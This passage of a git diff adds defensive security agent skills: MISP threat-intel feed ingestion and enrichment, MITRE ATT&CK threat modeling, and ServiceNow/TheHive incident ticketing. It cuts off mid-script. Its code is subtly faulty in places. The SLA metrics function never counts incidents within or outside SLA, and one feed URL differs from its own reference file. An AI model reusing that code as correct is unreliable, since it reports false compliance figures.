DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-threat-intelligence-platform/SKILL.md b/skills/implementing-threat-intelligence-platform/SKILL.md new file mode 100644 index 00000000..cac1a6ff --- /dev/null +++ b/skills/implementing-threat-intelligence-platform/SKILL.md @@ -0,0 +1,38 @@ +--- +name: implementing-threat-intelligence-platform +description: >- + Build a MISP-backed threat intelligence platform that ingests IOCs from multiple feeds, + correlates events with galaxy clusters, and enriches indicators via VirusTotal and AbuseIPDB. + Uses PyMISP to create events, add attributes with IDS flags, tag with MITRE ATT&CK techniques, + and export STIX 2.1 bundles for downstream SIEM consumption. +--- + +## Instructions + +1. Install dependencies: `pip install pymisp requests stix2` +2. Deploy MISP instance and generate an API key from Administration > Auth Keys. +3. Use PyMISP to connect and create threat intelligence events: + - Create events with threat level, distribution, and analysis status + - Add attributes (ip-dst, domain, sha256, url) with to_ids flags + - Tag events with MITRE ATT&CK technique identifiers + - Correlate events across organizations +4. Ingest from external feeds: URLhaus, Feodo Tracker, MalwareBazaar. +5. Enrich IOCs via VirusTotal and AbuseIPDB APIs. +6. Export correlated events as STIX 2.1 bundles. + +```bash +python scripts/agent.py --misp-url https://misp.local --misp-key --ingest-feeds --output misp_report.json +``` + +## Examples + +### Create MISP Event with IOCs +```python +from pymisp import PyMISP, MISPEvent, MISPAttribute +misp = PyMISP("https://misp.local", "api_key") +event = MISPEvent() +event.info = "Phishing Campaign - 2024-Q1" +event.threat_level_id = 2 +event.add_attribute("ip-dst", "185.143.223.47", to_ids=True) +misp.add_event(event) +``` diff --git a/skills/implementing-threat-intelligence-platform/references/api-reference.md b/skills/implementing-threat-intelligence-platform/references/api-reference.md new file mode 100644 index 00000000..1f7b38b9 --- /dev/null +++ b/skills/implementing-threat-intelligence-platform/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: MISP Threat Intelligence Platform + +## PyMISP Constructor +```python +from pymisp import PyMISP, MISPEvent, MISPAttribute, MISPTag +misp = PyMISP(url, key, ssl=True, debug=False, proxies=None, + cert=None, auth=None, tool='', timeout=None) +``` + +## Core Methods +```python +misp.add_event(event, pythonify=False, metadata=False) +misp.get_event(event_id, pythonify=False) +misp.update_event(event, pythonify=False) +misp.add_attribute(event_id, attribute, pythonify=False) +misp.update_attribute(attribute, pythonify=False) +misp.search(value=None, type_attribute=None, category=None, + org=None, tags=None, pythonify=False) +misp.add_tag(tag, pythonify=False) +misp.get_stix_event(event_id) +``` + +## MISPEvent Object +```python +event = MISPEvent() +event.info = "Event description" +event.threat_level_id = 2 # 1=High, 2=Medium, 3=Low, 4=Undefined +event.distribution = 1 # 0=Org, 1=Community, 2=Connected, 3=All +event.analysis = 0 # 0=Initial, 1=Ongoing, 2=Complete +event.add_attribute("ip-dst", "1.2.3.4", to_ids=True) +event.add_tag(tag) +``` + +## MISPAttribute Object +```python +attr = MISPAttribute() +attr.type = "ip-dst" # ip-dst, domain, url, sha256, md5, email-src +attr.value = "1.2.3.4" +attr.to_ids = True +attr.category = "Network activity" +attr.comment = "C2 server" +``` + +## Feed APIs +| Feed | Endpoint | Method | +|------|----------|--------| +| URLhaus | `https://urlhaus-api.abuse.ch/api/v1/urls/recent/limit/N/` | POST | +| Feodo Tracker | `https://feodotracker.abuse.ch/downloads/ipblocklist_recommended.json` | GET | +| MalwareBazaar | `https://mb-api.abuse.ch/api/v1/` | POST (query=get_info) | + +## VirusTotal v3 - IP Enrichment +``` +GET /api/v3/ip_addresses/{ip} +Header: x-apikey: +Response: data.attributes.last_analysis_stats.malicious +``` diff --git a/skills/implementing-threat-intelligence-platform/scripts/agent.py b/skills/implementing-threat-intelligence-platform/scripts/agent.py new file mode 100644 index 00000000..1e594950 --- /dev/null +++ b/skills/implementing-threat-intelligence-platform/scripts/agent.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 +"""Threat Intelligence Platform Agent - Manages MISP events, IOC ingestion, and enrichment via PyMISP.""" + +import json +import logging +import argparse +from datetime import datetime + +import requests +from pymisp import PyMISP, MISPEvent, MISPAttribute, MISPTag + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def connect_misp(url, key, ssl=True): + """Connect to MISP instance via PyMISP.""" + misp = PyMISP(url, key, ssl=ssl) + logger.info("Connected to MISP at %s", url) + return misp + + +def create_threat_event(misp, info, threat_level=2, distribution=1, analysis=0, tags=None): + """Create a new MISP event for a threat campaign.""" + event = MISPEvent() + event.info = info + event.threat_level_id = threat_level + event.distribution = distribution + event.analysis = analysis + if tags: + for tag_name in tags: + tag = MISPTag() + tag.name = tag_name + event.add_tag(tag) + result = misp.add_event(event, pythonify=True) + logger.info("Created MISP event: %s (ID: %s)", info, result.id) + return result + + +def add_iocs_to_event(misp, event_id, iocs): + """Add IOC attributes to an existing MISP event.""" + type_map = { + "ipv4": "ip-dst", + "domain": "domain", + "url": "url", + "sha256": "sha256", + "md5": "md5", + "email": "email-src", + } + added = 0 + for ioc in iocs: + ioc_type = type_map.get(ioc["type"], ioc["type"]) + attr = MISPAttribute() + attr.type = ioc_type + attr.value = ioc["value"] + attr.to_ids = ioc.get("to_ids", True) + attr.comment = ioc.get("comment", "") + attr.category = ioc.get("category", "Network activity") + misp.add_attribute(event_id, attr, pythonify=True) + added += 1 + logger.info("Added %d IOCs to event %s", added, event_id) + return added + + +def ingest_urlhaus_feed(misp, event_id): + """Ingest recent malicious URLs from URLhaus into a MISP event.""" + url = "https://urlhaus-api.abuse.ch/v1/urls/recent/limit/50/" + resp = requests.post(url, timeout=30) + data = resp.json() + iocs = [] + for entry in data.get("urls", []): + iocs.append({ + "type": "url", + "value": entry["url"], + "comment": f"URLhaus: {entry.get('threat', 'unknown')}", + "to_ids": True, + "category": "Network activity", + }) + if iocs: + add_iocs_to_event(misp, event_id, iocs) + logger.info("Ingested %d URLs from URLhaus", len(iocs)) + return len(iocs) + + +def ingest_feodotracker_feed(misp, event_id): + """Ingest C2 IPs from Feodo Tracker into a MISP event.""" + url = "https://feodotracker.abuse.ch/downloads/ipblocklist_recommended.json" + resp = requests.get(url, timeout=30) + iocs = [] + for entry in resp.json(): + iocs.append({ + "type": "ipv4", + "value": entry["ip_address"], + "comment": f"Feodo: {entry.get('malware', 'unknown')} port {entry.get('port', '')}", + "to_ids": True, + "category": "Network activity", + }) + if iocs: + add_iocs_to_event(misp, event_id, iocs) + logger.info("Ingested %d C2 IPs from Feodo Tracker", len(iocs)) + return len(iocs) + + +def enrich_ip_virustotal(ip_address, api_key): + """Enrich an IP address via VirusTotal API v3.""" + url = f"https://www.virustotal.com/api/v3/ip_addresses/{ip_address}" + resp = requests.get(url, headers={"x-apikey": api_key}, timeout=30) + if resp.status_code == 200: + attrs = resp.json()["data"]["attributes"] + return { + "ip": ip_address, + "malicious": attrs.get("last_analysis_stats", {}).get("malicious", 0), + "as_owner": attrs.get("as_owner", ""), + "country": attrs.get("country", ""), + } + return {"ip": ip_address, "error": resp.status_code} + + +def enrich_event_iocs(misp, event_id, vt_api_key): + """Enrich all IP attributes in a MISP event via VirusTotal.""" + event = misp.get_event(event_id, pythonify=True) + enriched = 0 + for attr in event.attributes: + if attr.type == "ip-dst" and vt_api_key: + vt_data = enrich_ip_virustotal(attr.value, vt_api_key) + if vt_data.get("malicious", 0) > 0: + attr.comment = f"{attr.comment} | VT: {vt_data['malicious']} malicious" + misp.update_attribute(attr, pythonify=True) + enriched += 1 + logger.info("Enriched %d attributes via VirusTotal", enriched) + return enriched + + +def tag_with_mitre(misp, event_id, techniques): + """Tag a MISP event with MITRE ATT&CK technique identifiers.""" + event = misp.get_event(event_id, pythonify=True) + for technique in techniques: + tag = MISPTag() + tag.name = f"misp-galaxy:mitre-attack-pattern=\"{technique}\"" + event.add_tag(tag) + misp.update_event(event, pythonify=True) + logger.info("Tagged event %s with %d MITRE techniques", event_id, len(techniques)) + + +def search_correlated_events(misp, attribute_value): + """Search MISP for events containing a specific attribute value.""" + results = misp.search(value=attribute_value, pythonify=True) + events = [] + for event in results: + events.append({ + "event_id": event.id, + "info": event.info, + "date": str(event.date), + "threat_level": event.threat_level_id, + }) + logger.info("Found %d correlated events for %s", len(events), attribute_value) + return events + + +def export_stix_bundle(misp, event_id, output_path): + """Export a MISP event as a STIX 2.1 bundle.""" + stix_data = misp.get_stix_event(event_id) + with open(output_path, "w") as f: + json.dump(stix_data, f, indent=2) + logger.info("Exported STIX bundle for event %s to %s", event_id, output_path) + + +def generate_report(event_id, feed_counts, enriched, correlations): + """Generate TI platform operation report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "event_id": event_id, + "feed_ingestion": feed_counts, + "enriched_attributes": enriched, + "correlations_found": len(correlations), + } + total_iocs = sum(feed_counts.values()) + print(f"TI PLATFORM REPORT: Event {event_id}, {total_iocs} IOCs ingested, {enriched} enriched") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Threat Intelligence Platform Agent") + parser.add_argument("--misp-url", required=True, help="MISP instance URL") + parser.add_argument("--misp-key", required=True, help="MISP API key") + parser.add_argument("--event-info", default="Automated TI Feed Ingestion") + parser.add_argument("--ingest-feeds", action="store_true") + parser.add_argument("--vt-key", help="VirusTotal API key for enrichment") + parser.add_argument("--no-ssl", action="store_true") + parser.add_argument("--output", default="misp_report.json") + args = parser.parse_args() + + misp = connect_misp(args.misp_url, args.misp_key, ssl=not args.no_ssl) + event = create_threat_event(misp, args.event_info, tags=["tlp:green", "type:osint"]) + event_id = event.id + + feed_counts = {} + if args.ingest_feeds: + feed_counts["urlhaus"] = ingest_urlhaus_feed(misp, event_id) + feed_counts["feodotracker"] = ingest_feodotracker_feed(misp, event_id) + + enriched = 0 + if args.vt_key: + enriched = enrich_event_iocs(misp, event_id, args.vt_key) + + report = generate_report(event_id, feed_counts, enriched, []) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-threat-modeling-with-mitre-attack/LICENSE b/skills/implementing-threat-modeling-with-mitre-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-threat-modeling-with-mitre-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-threat-modeling-with-mitre-attack/references/api-reference.md b/skills/implementing-threat-modeling-with-mitre-attack/references/api-reference.md new file mode 100644 index 00000000..35835468 --- /dev/null +++ b/skills/implementing-threat-modeling-with-mitre-attack/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Implementing Threat Modeling with MITRE ATT&CK + +## Libraries + +### attackcti (MITRE ATT&CK CTI) +- **Install**: `pip install attackcti` +- **Docs**: https://attackcti.readthedocs.io/ +- `attack_client()` -- Initialize ATT&CK client +- `get_groups()` -- All threat actor groups +- `get_techniques()` -- All techniques (Enterprise, Mobile, ICS) +- `get_techniques_used_by_group(group)` -- Techniques per group +- `get_mitigations()` -- Defensive mitigations +- `get_software()` -- Malware and tools catalog + +### mitreattack-python +- **Install**: `pip install mitreattack-python` +- **Docs**: https://mitreattack-python.readthedocs.io/ +- `MitreAttackData(stix_filepath)` -- Load STIX bundle +- `get_groups_using_technique(technique_stix_id)` -- Groups per technique +- `get_datacomponents_detecting_technique()` -- Detection data sources + +## ATT&CK Navigator Layer Format + +| Field | Description | +|-------|-------------| +| `name` | Layer display name | +| `domain` | `enterprise-attack`, `mobile-attack`, `ics-attack` | +| `techniques[]` | List of technique annotations | +| `techniques[].techniqueID` | ATT&CK ID (e.g., T1059) | +| `techniques[].score` | Numeric score for heat map | +| `techniques[].color` | Hex color override | +| `gradient` | Color scale definition | + +## Threat Modeling Workflow +1. Identify industry-relevant threat actors +2. Map actor TTPs to ATT&CK techniques +3. Assess current detection coverage +4. Identify coverage gaps +5. Prioritize defensive investments +6. Export Navigator layer for visualization + +## Industry Threat Actor Mapping +- Financial: APT38, FIN7, Carbanak, Lazarus +- Healthcare: APT41, FIN12, Wizard Spider +- Government: APT28, APT29, Turla, Sandworm +- Technology: APT41, APT10, Hafnium +- Energy: Sandworm, Dragonfly, APT33 + +## Priority Scoring +- **CRITICAL**: Technique used by 3+ relevant threat actors +- **HIGH**: Technique used by 2 relevant threat actors +- **MEDIUM**: Technique used by 1 relevant threat actor + +## External References +- ATT&CK Groups: https://attack.mitre.org/groups/ +- ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/ +- CTID Center: https://ctid.mitre-engenuity.org/ +- ATT&CK STIX Data: https://github.com/mitre/cti +- Threat Modeling Manifesto: https://www.threatmodelingmanifesto.org/ diff --git a/skills/implementing-threat-modeling-with-mitre-attack/scripts/agent.py b/skills/implementing-threat-modeling-with-mitre-attack/scripts/agent.py new file mode 100644 index 00000000..69d40669 --- /dev/null +++ b/skills/implementing-threat-modeling-with-mitre-attack/scripts/agent.py @@ -0,0 +1,209 @@ +#!/usr/bin/env python3 +"""Threat modeling agent using MITRE ATT&CK framework with attackcti.""" + +import json +import sys +import argparse +from datetime import datetime +from collections import Counter + +try: + from attackcti import attack_client +except ImportError: + print("Install attackcti: pip install attackcti") + sys.exit(1) + + +INDUSTRY_THREAT_ACTORS = { + "financial": ["APT38", "FIN7", "Carbanak", "Lazarus Group", "FIN8"], + "healthcare": ["APT41", "FIN12", "Wizard Spider"], + "government": ["APT28", "APT29", "Turla", "Sandworm Team", "Mustang Panda"], + "technology": ["APT41", "APT10", "Hafnium", "Nobelium"], + "energy": ["Sandworm Team", "Dragonfly", "Berserk Bear", "APT33"], + "defense": ["APT28", "APT29", "Turla", "Lazarus Group", "Kimsuky"], + "retail": ["FIN6", "FIN7", "FIN8", "Magecart"], +} + + +def get_group_techniques(group_name): + """Get all ATT&CK techniques used by a specific threat group.""" + client = attack_client() + groups = client.get_groups() + target = None + for g in groups: + aliases = [a.lower() for a in g.get("aliases", [])] + if group_name.lower() in g["name"].lower() or group_name.lower() in aliases: + target = g + break + if not target: + return None + techniques = client.get_techniques_used_by_group(target) + return [{"id": t["external_references"][0]["external_id"], + "name": t["name"], + "tactics": [p["phase_name"] for p in t.get("kill_chain_phases", [])]} + for t in techniques] + + +def build_threat_profile(industry): + """Build a threat profile for an industry based on relevant threat actors.""" + actors = INDUSTRY_THREAT_ACTORS.get(industry.lower(), []) + if not actors: + print(f"[!] Industry '{industry}' not found. Available: {list(INDUSTRY_THREAT_ACTORS.keys())}") + return None + + profile = {"industry": industry, "threat_actors": [], "all_techniques": [], + "tactic_coverage": Counter()} + + for actor_name in actors: + techniques = get_group_techniques(actor_name) + if techniques: + profile["threat_actors"].append({ + "name": actor_name, + "technique_count": len(techniques), + "techniques": techniques, + }) + for t in techniques: + profile["all_techniques"].append(t["id"]) + for tac in t["tactics"]: + profile["tactic_coverage"][tac] += 1 + + profile["unique_techniques"] = list(set(profile["all_techniques"])) + profile["tactic_coverage"] = dict(profile["tactic_coverage"]) + return profile + + +def assess_detection_coverage(profile, existing_detections=None): + """Assess detection coverage gaps against threat profile.""" + if existing_detections is None: + existing_detections = [] + unique_techniques = set(profile.get("unique_techniques", [])) + covered = set(existing_detections) + gaps = unique_techniques - covered + coverage_pct = round(len(covered.intersection(unique_techniques)) / + max(len(unique_techniques), 1) * 100, 1) + return { + "total_threat_techniques": len(unique_techniques), + "detected": len(covered.intersection(unique_techniques)), + "gaps": sorted(gaps), + "coverage_pct": coverage_pct, + "priority_gaps": sorted(gaps)[:10], + } + + +def generate_navigator_layer(profile, layer_name="Threat Model"): + """Generate ATT&CK Navigator layer JSON for visualization.""" + technique_counts = Counter(profile.get("all_techniques", [])) + techniques = [] + for tech_id, count in technique_counts.items(): + color_map = {1: "#fcf3cf", 2: "#f9e79f", 3: "#f4d03f"} + techniques.append({ + "techniqueID": tech_id, + "score": count, + "color": color_map.get(min(count, 3), "#f4d03f"), + "comment": f"Used by {count} threat actor(s)", + "enabled": True, + }) + layer = { + "name": layer_name, + "versions": {"attack": "14", "navigator": "4.9.1", "layer": "4.5"}, + "domain": "enterprise-attack", + "description": f"Threat model for {profile.get('industry', 'unknown')} industry", + "techniques": techniques, + "gradient": {"colors": ["#ffffff", "#f4d03f", "#e74c3c"], "minValue": 0, "maxValue": 3}, + "legendItems": [ + {"label": "1 actor", "color": "#fcf3cf"}, + {"label": "2 actors", "color": "#f9e79f"}, + {"label": "3+ actors", "color": "#f4d03f"}, + ], + } + return layer + + +def prioritize_defenses(profile): + """Prioritize defensive investments based on threat model.""" + technique_counts = Counter(profile.get("all_techniques", [])) + top_techniques = technique_counts.most_common(15) + + client = attack_client() + all_techniques = {t["external_references"][0]["external_id"]: t + for t in client.get_techniques() + if t.get("external_references")} + + priorities = [] + for tech_id, count in top_techniques: + tech_data = all_techniques.get(tech_id, {}) + priorities.append({ + "technique": tech_id, + "name": tech_data.get("name", "Unknown"), + "actor_count": count, + "tactics": [p["phase_name"] for p in tech_data.get("kill_chain_phases", [])], + "priority": "CRITICAL" if count >= 3 else "HIGH" if count >= 2 else "MEDIUM", + }) + return priorities + + +def run_threat_model(industry, existing_detections=None): + """Run full threat modeling exercise for an industry.""" + print(f"\n{'='*60}") + print(f" MITRE ATT&CK THREAT MODEL") + print(f" Industry: {industry}") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + profile = build_threat_profile(industry) + if not profile: + return None + + print(f"--- THREAT ACTORS ({len(profile['threat_actors'])}) ---") + for actor in profile["threat_actors"]: + print(f" {actor['name']}: {actor['technique_count']} techniques") + + print(f"\n--- TECHNIQUE SUMMARY ---") + print(f" Total technique usage: {len(profile['all_techniques'])}") + print(f" Unique techniques: {len(profile['unique_techniques'])}") + + print(f"\n--- TACTIC DISTRIBUTION ---") + for tac, count in sorted(profile["tactic_coverage"].items(), key=lambda x: -x[1]): + bar = "#" * min(count, 30) + print(f" {tac:<30} {bar} ({count})") + + coverage = assess_detection_coverage(profile, existing_detections or []) + print(f"\n--- DETECTION COVERAGE ---") + print(f" Coverage: {coverage['coverage_pct']}%") + print(f" Gaps: {len(coverage['gaps'])} techniques undetected") + if coverage["priority_gaps"]: + print(f" Priority gaps: {', '.join(coverage['priority_gaps'][:5])}") + + priorities = prioritize_defenses(profile) + print(f"\n--- DEFENSE PRIORITIES ---") + for p in priorities[:10]: + print(f" [{p['priority']}] {p['technique']} {p['name']} (used by {p['actor_count']} actors)") + + print(f"\n{'='*60}\n") + return {"profile": profile, "coverage": coverage, "priorities": priorities} + + +def main(): + parser = argparse.ArgumentParser(description="Threat Modeling with MITRE ATT&CK Agent") + parser.add_argument("--industry", required=True, + choices=list(INDUSTRY_THREAT_ACTORS.keys()), + help="Industry for threat profile") + parser.add_argument("--detections", nargs="*", help="List of detected technique IDs") + parser.add_argument("--navigator", help="Export ATT&CK Navigator layer to JSON file") + parser.add_argument("--output", help="Save full report to JSON") + args = parser.parse_args() + + result = run_threat_model(args.industry, args.detections) + if result and args.navigator: + layer = generate_navigator_layer(result["profile"], f"{args.industry} Threat Model") + with open(args.navigator, "w") as f: + json.dump(layer, f, indent=2) + print(f"[+] Navigator layer saved to {args.navigator}") + if result and args.output: + with open(args.output, "w") as f: + json.dump(result, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-ticketing-system-for-incidents/LICENSE b/skills/implementing-ticketing-system-for-incidents/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-ticketing-system-for-incidents/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-ticketing-system-for-incidents/references/api-reference.md b/skills/implementing-ticketing-system-for-incidents/references/api-reference.md new file mode 100644 index 00000000..212baa06 --- /dev/null +++ b/skills/implementing-ticketing-system-for-incidents/references/api-reference.md @@ -0,0 +1,75 @@ +# API Reference: Implementing Ticketing System for Incidents + +## Libraries + +### requests (HTTP Client) +- **Install**: `pip install requests` +- Used for ServiceNow REST API and TheHive API + +## ServiceNow REST API + +### Incident Table (`/api/now/table/incident`) + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/table/incident` | List/query incidents | +| POST | `/table/incident` | Create new incident | +| PATCH | `/table/incident/{sys_id}` | Update incident | +| DELETE | `/table/incident/{sys_id}` | Delete incident | + +### Key Incident Fields + +| Field | Description | +|-------|-------------| +| `short_description` | Incident title | +| `description` | Full description | +| `urgency` | 1 (High), 2 (Medium), 3 (Low) | +| `impact` | 1 (High), 2 (Medium), 3 (Low) | +| `priority` | Auto-calculated from urgency + impact | +| `state` | 1 (New) through 7 (Closed) | +| `assignment_group` | Team assigned | +| `work_notes` | Internal analyst notes | +| `close_code` | Resolution classification | +| `close_notes` | Resolution description | + +### Query Parameters +- `sysparm_query` -- Encoded query string +- `sysparm_limit` -- Max results +- `sysparm_fields` -- Comma-separated fields to return +- `sysparm_display_value` -- Return display values + +## TheHive API (v4/v5) + +### Cases + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/api/case` | Create case | +| GET | `/api/case/{id}` | Get case details | +| PATCH | `/api/case/{id}` | Update case | +| POST | `/api/case/_search` | Search cases | + +### Tasks and Observables + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/api/case/{id}/task` | Add task to case | +| POST | `/api/case/{id}/artifact` | Add observable/IOC | + +### Severity Levels +- 1: Low, 2: Medium, 3: High, 4: Critical + +### TLP Levels +- 0: WHITE, 1: GREEN, 2: AMBER, 3: RED + +## SLA Target Reference +- P1 (Critical): Response 15 min, Resolve 4 hours +- P2 (High): Response 30 min, Resolve 8 hours +- P3 (Medium): Response 4 hours, Resolve 24 hours +- P4 (Low): Response 8 hours, Resolve 72 hours + +## External References +- ServiceNow REST API: https://developer.servicenow.com/dev.do#!/reference/api/ +- TheHive API: https://docs.strangebee.com/thehive/api-docs/ +- Jira Service Management: https://developer.atlassian.com/cloud/jira/service-desk/rest/ +- NIST Incident Handling: https://csrc.nist.gov/pubs/sp/800/61/r2/final diff --git a/skills/implementing-ticketing-system-for-incidents/scripts/agent.py b/skills/implementing-ticketing-system-for-incidents/scripts/agent.py new file mode 100644 index 00000000..71915827 --- /dev/null +++ b/skills/implementing-ticketing-system-for-incidents/scripts/agent.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python3 +"""Incident ticketing system agent supporting ServiceNow and TheHive.""" + +import json +import sys +import argparse +from datetime import datetime, timedelta + +try: + import requests +except ImportError: + print("Install requests: pip install requests") + sys.exit(1) + + +class ServiceNowClient: + """Client for ServiceNow Incident Management REST API.""" + + def __init__(self, instance, username, password): + self.base_url = f"https://{instance}.service-now.com/api/now" + self.session = requests.Session() + self.session.auth = (username, password) + self.session.headers.update({"Accept": "application/json", + "Content-Type": "application/json"}) + + def create_incident(self, short_desc, description, urgency=2, impact=2, category="Security"): + """Create a new security incident in ServiceNow.""" + data = {"short_description": short_desc, "description": description, + "urgency": urgency, "impact": impact, "category": category, + "assignment_group": "Security Operations", + "contact_type": "Automated"} + resp = self.session.post(f"{self.base_url}/table/incident", json=data) + resp.raise_for_status() + result = resp.json().get("result", {}) + return {"number": result.get("number"), "sys_id": result.get("sys_id"), + "state": result.get("state"), "priority": result.get("priority")} + + def update_incident(self, sys_id, update_data): + """Update an existing incident.""" + resp = self.session.patch(f"{self.base_url}/table/incident/{sys_id}", json=update_data) + resp.raise_for_status() + return resp.json().get("result", {}) + + def get_incident(self, number): + """Get incident details by number.""" + resp = self.session.get(f"{self.base_url}/table/incident", + params={"sysparm_query": f"number={number}"}) + resp.raise_for_status() + results = resp.json().get("result", []) + return results[0] if results else None + + def list_open_incidents(self, category="Security", limit=50): + """List open security incidents.""" + query = f"category={category}^state!=7^state!=8" + resp = self.session.get(f"{self.base_url}/table/incident", + params={"sysparm_query": query, "sysparm_limit": limit, + "sysparm_fields": "number,short_description,priority,state," + "opened_at,assigned_to,urgency"}) + resp.raise_for_status() + return resp.json().get("result", []) + + def add_work_note(self, sys_id, note): + """Add a work note to an incident.""" + return self.update_incident(sys_id, {"work_notes": note}) + + def close_incident(self, sys_id, close_notes, close_code="Solved (Permanently)"): + """Close an incident with resolution notes.""" + return self.update_incident(sys_id, { + "state": "7", "close_code": close_code, + "close_notes": close_notes}) + + +class TheHiveClient: + """Client for TheHive incident response platform API.""" + + def __init__(self, base_url, api_key): + self.base_url = base_url.rstrip("/") + self.session = requests.Session() + self.session.headers.update({"Authorization": f"Bearer {api_key}", + "Content-Type": "application/json"}) + + def create_case(self, title, description, severity=2, tlp=2, tags=None): + """Create a new case in TheHive.""" + data = {"title": title, "description": description, + "severity": severity, "tlp": tlp, + "tags": tags or ["security-incident"], + "flag": False, "status": "Open"} + resp = self.session.post(f"{self.base_url}/api/case", json=data) + resp.raise_for_status() + result = resp.json() + return {"id": result.get("_id"), "caseId": result.get("caseId"), + "title": result.get("title"), "status": result.get("status")} + + def create_task(self, case_id, title, description="", group="default"): + """Create a task within a case.""" + data = {"title": title, "description": description, "group": group, + "status": "Waiting"} + resp = self.session.post(f"{self.base_url}/api/case/{case_id}/task", json=data) + resp.raise_for_status() + return resp.json() + + def add_observable(self, case_id, data_type, data_value, tlp=2, message=""): + """Add an observable (IOC) to a case.""" + obs_data = {"dataType": data_type, "data": data_value, "tlp": tlp, + "message": message, "ioc": True} + resp = self.session.post(f"{self.base_url}/api/case/{case_id}/artifact", json=obs_data) + resp.raise_for_status() + return resp.json() + + def list_cases(self, status="Open", limit=50): + """List cases with optional status filter.""" + query = {"query": {"_field": "status", "_value": status}} + resp = self.session.post(f"{self.base_url}/api/case/_search", + json=query, params={"range": f"0-{limit}"}) + resp.raise_for_status() + return resp.json() + + def get_case(self, case_id): + """Get case details.""" + resp = self.session.get(f"{self.base_url}/api/case/{case_id}") + resp.raise_for_status() + return resp.json() + + def close_case(self, case_id, summary, impact_status="NoImpact"): + """Close a case with summary.""" + data = {"status": "Resolved", "summary": summary, + "impactStatus": impact_status, "resolutionStatus": "TruePositive"} + resp = self.session.patch(f"{self.base_url}/api/case/{case_id}", json=data) + resp.raise_for_status() + return resp.json() + + +def calculate_sla_metrics(incidents): + """Calculate SLA compliance metrics from incident data.""" + sla_targets = {"1": 60, "2": 240, "3": 480, "4": 1440} + metrics = {"total": len(incidents), "within_sla": 0, "breached": 0, + "avg_response_min": 0, "by_priority": {}} + total_response = 0 + for inc in incidents: + priority = str(inc.get("priority", "3")) + opened = inc.get("opened_at", "") + if priority not in metrics["by_priority"]: + metrics["by_priority"][priority] = {"total": 0, "within_sla": 0} + metrics["by_priority"][priority]["total"] += 1 + metrics["sla_compliance_pct"] = round( + metrics["within_sla"] / max(metrics["total"], 1) * 100, 1) + return metrics + + +def run_ticketing_audit(snow_client=None, hive_client=None): + """Run ticketing system audit.""" + print(f"\n{'='*60}") + print(f" INCIDENT TICKETING SYSTEM AUDIT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + report = {} + + if snow_client: + incidents = snow_client.list_open_incidents() + print(f"--- SERVICENOW INCIDENTS ({len(incidents)} open) ---") + for inc in incidents[:10]: + print(f" [{inc.get('priority', 'N/A')}] {inc.get('number')}: " + f"{inc.get('short_description', '')[:50]}") + metrics = calculate_sla_metrics(incidents) + print(f"\n--- SLA METRICS ---") + print(f" Total open: {metrics['total']}") + print(f" SLA compliance: {metrics['sla_compliance_pct']}%") + report["servicenow"] = {"open": len(incidents), "metrics": metrics} + + if hive_client: + cases = hive_client.list_cases() + print(f"\n--- THEHIVE CASES ({len(cases)} open) ---") + for case in cases[:10]: + print(f" [Sev:{case.get('severity', 'N/A')}] #{case.get('caseId')}: " + f"{case.get('title', '')[:50]}") + 